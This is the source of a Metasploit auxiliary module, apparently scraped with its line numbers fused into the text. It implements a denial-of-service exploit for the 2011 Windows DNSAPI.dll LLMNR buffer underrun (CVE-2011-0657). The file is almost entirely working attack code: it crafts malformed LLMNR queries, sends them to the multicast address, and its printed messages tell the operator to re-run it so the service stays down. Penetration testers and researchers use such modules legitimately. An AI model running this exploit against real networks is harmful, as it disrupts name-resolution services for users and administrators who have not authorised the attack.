Path: blob/master/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS',12'Description' => %q{13This module exploits a buffer underrun vulnerability in Microsoft's DNSAPI.dll14as distributed with Windows Vista and later without KB2509553. By sending a15specially crafted LLMNR query, containing a leading '.' character, an attacker16can trigger stack exhaustion or potentially cause stack memory corruption.1718Although this vulnerability may lead to code execution, it has not been proven19to be possible at the time of this writing.2021NOTE: In some circumstances, a '.' may be found before the top of the stack is22reached. In these cases, this module may not be able to cause a crash.23},24'Author' => 'jduck',25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2011-0657' ],28[ 'OSVDB', '71780' ],29[ 'MSB', 'MS11-030' ]30],31'DisclosureDate' => 'Apr 12 2011',32'Notes' => {33'Stability' => [CRASH_SERVICE_DOWN],34'SideEffects' => [],35'Reliability' => []36}37)3839register_options(40[41Opt::RPORT(5355),42Opt::RHOST('224.0.0.252')43]44)45end4647def make_query(str)48pkt = ''4950# id51pkt << [rand(65535)].pack('n')5253# flags54pkt << [55(56'0' + # qr57'0000' + # opcode58'0' + # conflict59'0' + # truncation60'0' + # tentative61'0000' + # zero (reserved)62'0000' # rcode63)64].pack('B16')6566# counts67pkt << [1, 0, 0, 0].pack('n*')6869if str[0, 1] == '.'70pkt << [str.length].pack('C')71end72pkt << str + "\x00"7374# type / class (PTR/IN)75pkt << [0x0c, 0x01].pack('n*')7677pkt78end7980def run81connect_udp8283# query8485# various compressed queries86# pkt << "\x03" + ("%d" % 192)87# pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192"88# pkt << ("\x01" + '1') * 0x2089# pkt << "\x01" + '.'90# pkt << ("\x01\x2e") + "\x01" + "0"91# pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00"92# pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00"93# pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00"9495pkt = make_query('.1.1.ip6.arpa')96print_status("Sending Ipv6 LLMNR query to #{rhost}")97udp_sock.put(pkt)9899pkt = make_query('.1.1.in-addr.arpa')100print_status("Sending Ipv4 LLMNR query to #{rhost}")101udp_sock.put(pkt)102103print_status('Note, in a default configuration, the service will restart automatically twice.')104print_status('In order to ensure it is completely dead, wait up to 5 minutes and run it again.')105106disconnect_udp107end108end109110111